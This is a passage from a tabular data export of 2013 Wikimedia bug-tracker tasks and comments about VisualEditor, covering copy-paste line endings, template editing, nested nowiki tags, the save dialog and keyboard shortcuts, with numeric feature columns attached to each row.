**Severity**: normal",Needs Triage,90.0,1373297700,1373851066.0,PHID-USER-xfe43w2lb5gpvglf4coa,False,,False,PHID-TASK-b3kpqkztod52q3bqpgcc,task_description,resolved,True,c1,3,False,False,True,1,,1.0,0.0,0.0,2.0,1.0,8.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,3.0,8.0,0.0,1.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,1.0,0.0,0.0,2.0,1.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,1.0,0.0,0.0,15.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,11.0,3.0,11.0,0.0,2.0,11.0,0.0,0.0,0.0,0.0,2.0,0.0,1.0,0.0,5.0,8.0,3.0,0.0,0.0,0.0,5.0,0.0,1.0,3.0,0.0,0.0,0.0,0.0,0.0,3.59375,0.6770833333333334,"I tried to copy text from a plain text file (in the Kate editor). The line endings were not preserved and the whole text was copied as one big paragraph.

You can see an example here:
URL

It's the first version of a page that I created in the VisualEditor. I formatted the first few lines manually, but left the blob in the end as is.

--------------------------
**Version**: unspecified
**Severity**: normal"
244363,VisualEditor: line endings are not preserved when copying from a text file,"This should be fixed up by the fixing of bug 33105.

*** This bug has been marked as a duplicate of bug 33105 ***",,,1373851066,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-b3kpqkztod52q3bqpgcc,task_subcomment,,True,c1,3,True,,,2,,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,17.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.033333333333333,0.6666666666666666,"This should be fixed up by the fixing of bug 33105.

*** This bug has been marked as a duplicate of bug 33105 ***"
52915,context specific editor for templates?,"On English Wikipedia, it is stated that some common templates need a context specific editor. 

Examples offered by (and with explanatory text by) User:Clem Rutter

****

*[[Template:convert]]
([[Template:frac]]
Those are simple- all we need is to display the parameters so they can be changed, when focus is lost they just display. For useability you could enter the the inline-template-editor by double clicking or ctrl-shift -click.

*[[Template:fact]]
*[[Template:cn]]
These two are more complex as editors are there to change the *cn to a reference- of which the *sfn template is ideal. So here on a double-click, you need to change a *cn to a *sfn and enter the inline-template-editor to add the fields which are Name|Year|pp=page-lastpage. For a sfn, on leaving, you need an alert that offers to take you to the reflist to confirm or edit if that reference is missing.

*[[Template:sfn]]
Explained above.

*[[Template:efn]]
Simplicity- there is only one parameter. Though an alert may be needed if the Notes {*{notelist|notes=}*} structure is not in place.

*[[Template:reflist]]-
fiendishly complex from a programming pov but functionally simple- as the functionality we need is
add a line in wiki code- I C&P common ones from a master list of commonly used texts in field that I keep in a subpage, or as a textfile on the desktop. An easy technique to teach when you are training at a museum or library as you can give your students the file on usbstick
change some data- for instance an isbn number
this can be achieved in a popup wikicode editor- or even gedit, vi, geaney, wordpad as no parsing is required.

([[Template:infobox]]
it is totally essential to just be able to change the content of a field visually. It is desirable to add new fields but this is of lower priority nigh essential, and this wont be achieved until the issue of recursive templates is resolved. (That rates as essential on my list.)


I leave the list there for a Linus test, so if you could pass this on to your dev team and ask them to add these to the functional specification. Here is an example of a sample edit for them to try Swanley it keeps coming up on my watchlist:

*first three references contain raw urls- probably could do with a *cite template her- not mentioned above
*fix a *cn
*change item in infobox
*convert acres to hectares needed

All of that could be easily achievable.-- Clem Rutter (talk) 18:20, 5 July 2013 (UTC)

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1373241540,1385381445.0,PHID-USER-joqqkabmjmvxeucx4ni2,True,,False,PHID-TASK-754mi2navz4pvonnspxh,task_description,declined,True,c1,3,False,False,False,0,,0.6666666666666666,0.0,0.16666666666666666,1.3333333333333333,0.3333333333333333,5.5,2.0,0.0,0.16666666666666666,0.5,2.0,0.0,0.0,0.16666666666666666,0.16666666666666666,1.1666666666666667,0.16666666666666666,3.8333333333333335,11.166666666666666,0.0,2.0,0.0,0.0,0.0,0.16666666666666666,0.0,0.16666666666666666,0.3333333333333333,1.3333333333333333,0.0,0.0,5.166666666666667,0.16666666666666666,0.6666666666666666,1.3333333333333333,1.5,0.0,0.0,0.3333333333333333,0.5,0.16666666666666666,0.6666666666666666,0.0,1.0,0.0,0.6666666666666666,0.16666666666666666,0.16666666666666666,0.3333333333333333,17.833333333333332,0.8333333333333334,0.6666666666666666,0.16666666666666666,0.5,0.0,0.16666666666666666,0.0,0.0,0.3333333333333333,0.0,0.16666666666666666,0.16666666666666666,0.16666666666666666,0.0,0.16666666666666666,0.3333333333333333,0.0,6.5,4.166666666666667,7.0,1.3333333333333333,2.0,9.333333333333334,0.0,0.0,0.0,0.0,4.833333333333333,0.5,1.1666666666666667,0.0,4.0,11.166666666666666,2.1666666666666665,0.0,0.0,0.0,4.0,0.0,1.0,3.8333333333333335,0.3333333333333333,0.6666666666666666,0.3333333333333333,0.0,3.1666666666666665,3.618907356757136,0.6731362648152044,"On English Wikipedia, it is stated that some common templates need a context specific editor. 

Examples offered by (and with explanatory text by) User:Clem Rutter

****

*[[Template:convert]]
([[Template:frac]]
Those are simple- all we need is to display the parameters so they can be changed, when focus is lost they just display. For useability you could enter the the inline-template-editor by double clicking or ctrl-shift -click.

*[[Template:fact]]
*[[Template:cn]]
These two are more complex as editors are there to change the *cn to a reference- of which the *sfn template is ideal. So here on a double-click, you need to change a *cn to a *sfn and enter the inline-template-editor to add the fields which are Name|Year|pp=page-lastpage. For a sfn, on leaving, you need an alert that offers to take you to the reflist to confirm or edit if that reference is missing.

*[[Template:sfn]]
Explained above.

*[[Template:efn]]
Simplicity- there is only one parameter. Though an alert may be needed if the Notes {*{notelist|notes=}*} structure is not in place.

*[[Template:reflist]]-
fiendishly complex from a programming pov but functionally simple- as the functionality we need is
add a line in wiki code- I C&P common ones from a master list of commonly used texts in field that I keep in a subpage, or as a textfile on the desktop. An easy technique to teach when you are training at a museum or library as you can give your students the file on usbstick
change some data- for instance an isbn number
this can be achieved in a popup wikicode editor- or even gedit, vi, geaney, wordpad as no parsing is required.

([[Template:infobox]]
it is totally essential to just be able to change the content of a field visually. It is desirable to add new fields but this is of lower priority nigh essential, and this wont be achieved until the issue of recursive templates is resolved. (That rates as essential on my list.)


I leave the list there for a Linus test, so if you could pass this on to your dev team and ask them to add these to the functional specification. Here is an example of a sample edit for them to try Swanley it keeps coming up on my watchlist:

*first three references contain raw urls- probably could do with a *cite template her- not mentioned above
*fix a *cn
*change item in infobox
*convert acres to hectares needed

All of that could be easily achievable.-- Clem Rutter (talk) 18:20, 5 July 2013 (UTC)

--------------------------
**Version**: unspecified
**Severity**: normal"
242508,context specific editor for templates?,"This is a WONTFIX; VisualEditor is not specific to the English Wikipedia, and it is neither appropriate nor sane to create specific dialogs for each of the thousands of templates on hundreds of wikis.",,,1385381445,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-754mi2navz4pvonnspxh,task_subcomment,,True,c1,3,True,,,21,,3.0,0.0,0.0,0.0,3.0,11.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,8.0,14.0,0.0,8.0,14.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,19.0,11.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.513513513513513,0.8108108108108109,"This is a WONTFIX; VisualEditor is not specific to the English Wikipedia, and it is neither appropriate nor sane to create specific dialogs for each of the thousands of templates on hundreds of wikis."
52909,VisualEditor: Template editor turns links into [[link|name]] in CE,"screenshot of CE after transclusion editor

https://en.wikipedia.org/wiki/Luton?veaction=edit

Edit the infobox template. Don't do anything, but apply changes. A lot of the blue links in the infobox are now rendered as black pipe code, for example [[List of towns in the United Kingdom|Town]] instead of Town.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11424}",Needs Triage,90.0,1373233920,1373354186.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-njvhn6axgtv4xkldtkx2,task_description,resolved,True,c1,3,True,False,True,0,,0.0,1.0,0.0,1.0,1.0,5.0,0.0,0.0,0.0,0.0,5.0,1.0,0.0,0.0,0.0,0.0,0.0,4.0,11.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,16.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.0,0.0,0.0,0.0,0.0,0.0,6.0,1.0,15.0,0.0,1.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,2.0,3.7176470588235295,0.6470588235294118,"screenshot of CE after transclusion editor

URL

Edit the infobox template. Don't do anything, but apply changes. A lot of the blue links in the infobox are now rendered as black pipe code, for example [[List of towns in the United Kingdom|Town]] instead of Town.

--------------------------
**Version**: unspecified
**Severity**: normal

**Attached**: {F11424}"
242159,VisualEditor: Template editor turns links into [[link|name]] in CE,"

*** This bug has been marked as a duplicate of bug 50801 ***",,,1373354186,,PHID-USER-sx63fwaih5kjt7bz4u6z,False,,,PHID-TASK-njvhn6axgtv4xkldtkx2,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 50801 ***"
52907,VisualEditor: The anchor for the template editor can easily become invisible,"Take a page with a reasonably sized infobox.
Make your browser window 11"" size or something
Scroll down a bit
Click the infobox

The infobox has become selected, but the anchor for the editor, being in the top right, is often out of view well under the toolbar. This leaves the user without a proper hint.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1373233620,1375717235.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-ovfsitu3qtht2esmfi2s,task_description,resolved,True,c1,3,True,False,True,0,,0.0,1.0,0.0,0.0,0.0,6.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,2.0,9.0,0.0,2.0,14.0,0.0,0.0,0.0,0.0,4.0,0.0,1.0,0.0,1.0,9.0,1.0,0.0,1.0,0.0,1.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,3.835294117647059,0.6823529411764706,"Take a page with a reasonably sized infobox.
Make your browser window 11"" size or something
Scroll down a bit
Click the infobox

The infobox has become selected, but the anchor for the editor, being in the top right, is often out of view well under the toolbar. This leaves the user without a proper hint.

--------------------------
**Version**: unspecified
**Severity**: normal"
242091,VisualEditor: The anchor for the template editor can easily become invisible,"@Chris, yes, they are the same.

*** This bug has been marked as a duplicate of bug 49922 ***",,,1375717235,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-ovfsitu3qtht2esmfi2s,task_subcomment,,True,c1,3,True,,,5,,0.0,0.0,0.0,4.0,0.0,4.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,7.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.0,0.7407407407407407,"SCREEN_NAME, yes, they are the same.

*** This bug has been marked as a duplicate of bug 49922 ***"
242087,VisualEditor: The anchor for the template editor can easily become invisible,Is this the same as bug 49922?,,,1374487466,,PHID-USER-ysftv67jxeaxdwcakvwo,False,,,PHID-TASK-ovfsitu3qtht2esmfi2s,task_subcomment,,True,c1,3,False,,,3,,0.0,0.0,0.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,12.0,12.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,12.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,Is this the same as bug 49922?
52903,VisualEditor: Save dialog behaves as partial modal,"In some respects the save dialog is partially modal, which is a strange and unfamiliar concept to some.

The content is not editable, and partly blurred. Yet I can click links inside the content. The buttons in the toolbar have a functioning look, but don't actually work. Also, when clicking outside this dialog, I would expect it to dismiss, but it doesn't.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1373232480,1377814666.0,PHID-USER-wrimmmr5w2zt7nk2t753,False,,False,PHID-TASK-qrgadp2mt3qhvw2auoa4,task_description,resolved,True,c1,3,True,False,True,0,,2.0,0.0,0.0,0.0,3.0,6.0,3.0,0.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,2.0,1.0,9.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,1.0,1.0,0.0,6.0,1.0,2.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,2.0,1.0,0.0,1.0,0.0,0.0,0.0,7.0,3.0,10.0,1.0,5.0,12.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,3.9468085106382977,0.6382978723404256,"In some respects the save dialog is partially modal, which is a strange and unfamiliar concept to some.

The content is not editable, and partly blurred. Yet I can click links inside the content. The buttons in the toolbar have a functioning look, but don't actually work. Also, when clicking outside this dialog, I would expect it to dismiss, but it doesn't.

--------------------------
**Version**: unspecified
**Severity**: normal"
241906,VisualEditor: Save dialog behaves as partial modal,"This is an artefact of not being a ""proper"" dialog, which is bug 48566 - we hope to fix that in the next week or so. Sorry for the delay in triaging.

*** This bug has been marked as a duplicate of bug 48566 ***",,,1377814666,,PHID-USER-ydswvwhh5pm4lshahjje,False,,,PHID-TASK-qrgadp2mt3qhvw2auoa4,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,2.0,2.0,4.0,4.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,2.0,0.0,4.0,13.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,15.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,7.0,5.0,0.0,2.0,16.0,0.0,0.0,0.0,0.0,2.0,2.0,4.0,0.0,2.0,13.0,0.0,0.0,4.0,0.0,2.0,0.0,2.0,5.0,0.0,2.0,0.0,0.0,0.0,3.0545454545454547,0.7090909090909091,"This is an artefact of not being a ""proper"" dialog, which is bug 48566 - we hope to fix that in the next week or so. Sorry for the delay in triaging.

*** This bug has been marked as a duplicate of bug 48566 ***"
241901,VisualEditor: Save dialog behaves as partial modal,"Oh, and you can select and copy and paste text from the disabled edit surface, when the save dialog is open.",,,1373232552,,PHID-USER-wrimmmr5w2zt7nk2t753,False,,,PHID-TASK-qrgadp2mt3qhvw2auoa4,task_subcomment,,True,c1,3,True,,,0,,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,4.0,4.0,12.0,8.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,4.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.8333333333333334,"Oh, and you can select and copy and paste text from the disabled edit surface, when the save dialog is open."
52835,Nested <nowiki>s considered harmful,"Sometimes Parsoid will wrap a <nowiki> around an existing <nowiki>; this is generally a bad idea, even if we have dirtied the reference in VisualEditor. :-)

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: https://en.wikipedia.org/w/index.php?title=Your_Face_Sounds_Familiar_%28UK_TV_series%29&diff=562149606&oldid=562149387",Needs Triage,90.0,1373055060,1373314749.0,PHID-USER-ydswvwhh5pm4lshahjje,True,,False,PHID-TASK-lb7abq7fkyxs3qzwp4ty,task_description,resolved,True,c1,3,True,False,True,0,,0.0,0.0,0.0,0.0,0.0,5.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,12.0,2.0,0.0,8.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,5.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,5.0,0.0,2.0,0.0,0.0,7.0,3.6440677966101696,0.6610169491525424,"Sometimes Parsoid will wrap a <nowiki> around an existing <nowiki>; this is generally a bad idea, even if we have dirtied the reference in VisualEditor. :-)

--------------------------
**Version**: unspecified
**Severity**: normal
**URL**: URL"
237831,Nested <nowiki>s considered harmful,*** Bug 50724 has been marked as a duplicate of this bug. ***,,,1373637242,,PHID-USER-ydswvwhh5pm4lshahjje,True,,,PHID-TASK-lb7abq7fkyxs3qzwp4ty,task_subcomment,,True,c1,3,True,,,1,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7222222222222223,0.7222222222222222,*** Bug 50724 has been marked as a duplicate of this bug. ***
237825,Nested <nowiki>s considered harmful,"Change 72971 merged by jenkins-bot:
Try #2: (Bug 50835) Dont nowiki escape already escaped tpl params

https://gerrit.wikimedia.org/r/72971",,,1373473754,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-lb7abq7fkyxs3qzwp4ty,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,11.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,0.9629629629629629,"Change 72971 merged by jenkins-bot:
Try #2: (Bug 50835) Dont nowiki escape already escaped tpl params

GERRIT_URL"
237819,Nested <nowiki>s considered harmful,"Change 72971 had a related patch set uploaded by Subramanya Sastry:
Try #2: (Bug 50835) Dont nowiki escape already escaped tpl params

https://gerrit.wikimedia.org/r/72971",,,1373470917,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-lb7abq7fkyxs3qzwp4ty,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,23.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,10.0,0.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,4.032258064516129,0.967741935483871,"Change 72971 had a related patch set uploaded by Subramanya Sastry:
Try #2: (Bug 50835) Dont nowiki escape already escaped tpl params

GERRIT_URL"
237815,Nested <nowiki>s considered harmful,"Change 72230 merged by jenkins-bot:
(Bug 50835) Dont nowiki escape already escaped template params

https://gerrit.wikimedia.org/r/72230",,,1373307265,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-lb7abq7fkyxs3qzwp4ty,task_subcomment,,True,c1,3,False,,,1,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,4.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.260869565217392,1.0,"Change 72230 merged by jenkins-bot:
(Bug 50835) Dont nowiki escape already escaped template params

GERRIT_URL"
237811,Nested <nowiki>s considered harmful,"Change 72230 had a related patch set uploaded by Subramanya Sastry:
(Bug 50835) Dont nowiki escape already escaped template params

https://gerrit.wikimedia.org/r/72230",,,1373065523,,PHID-USER-idceizaw6elwiwm5xshb,True,,,PHID-TASK-lb7abq7fkyxs3qzwp4ty,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,22.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,4.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.592592592592593,1.0,"Change 72230 had a related patch set uploaded by Subramanya Sastry:
(Bug 50835) Dont nowiki escape already escaped template params

GERRIT_URL"
52828,VisualEditor: edits fail on hitting the abuse filter (with a cryptic error message),"If a user triggers the abusefilter through the VE, they're informed ""'''Error:''' The modification you tried to make was aborted by an extension hook"".

Probably not helpful.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1373053920,1373054299.0,PHID-USER-j5ma2nageni56xp567v5,False,,False,PHID-TASK-wob6rhplaqtaaqqwjmgd,task_description,resolved,True,c1,3,False,False,True,0,,0.0,0.0,0.0,2.0,2.0,5.0,0.0,0.0,0.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,2.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,2.0,12.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,4.0,7.0,2.0,0.0,7.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,3.8771929824561404,0.7192982456140351,"If a user triggers the abusefilter through the VE, they're informed ""'''Error:''' The modification you tried to make was aborted by an extension hook"".

Probably not helpful.

--------------------------
**Version**: unspecified
**Severity**: normal"
237369,VisualEditor: edits fail on hitting the abuse filter (with a cryptic error message),"

*** This bug has been marked as a duplicate of bug 50472 ***",,,1373054299,,PHID-USER-jnta3z3spxto3vbxdngm,False,,,PHID-TASK-wob6rhplaqtaaqqwjmgd,task_subcomment,,True,c1,3,False,,,0,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 50472 ***"
52817,Keyboard shortcut for editing source,"With VisualEditor enabled the shortcut alt+shift+e no longer works, which previously opened the ""edit source"" page.  Considering many users work without a mouse on a laptop, it would be beneficial to have this enabled.

--------------------------
**Version**: unspecified
